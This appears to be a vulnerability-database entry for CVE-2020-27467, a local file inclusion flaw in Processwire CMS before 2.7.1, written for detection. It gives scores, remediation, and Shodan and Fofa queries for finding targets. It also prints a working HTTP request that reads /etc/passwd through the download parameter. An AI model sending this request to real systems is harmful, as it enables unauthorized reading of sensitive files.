🔙 목록으로 돌아가기

CVE-2020-27467: Processwire CMS <2.7.1 - Local File Inclusion

TitleProcesswire CMS <2.7.1 - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
RemediationUpgrade Processwire CMS to version 2.7.1 or later to fix the Local File Inclusion vulnerability.
CVSS Score7.5
EPSS Score0.79832
CVE IDCVE-2020-27467
CWE IDCWE-22
Shodan Queryhttp.html:"processwire"
Fofa Querybody="processwire"
Tags cve cve2020 processwire lfi cms oss vuln

🔍 Vulnerability Description

Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php.

🌐 HTTP Request

GET /index.php?download=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-27467.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-27467.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A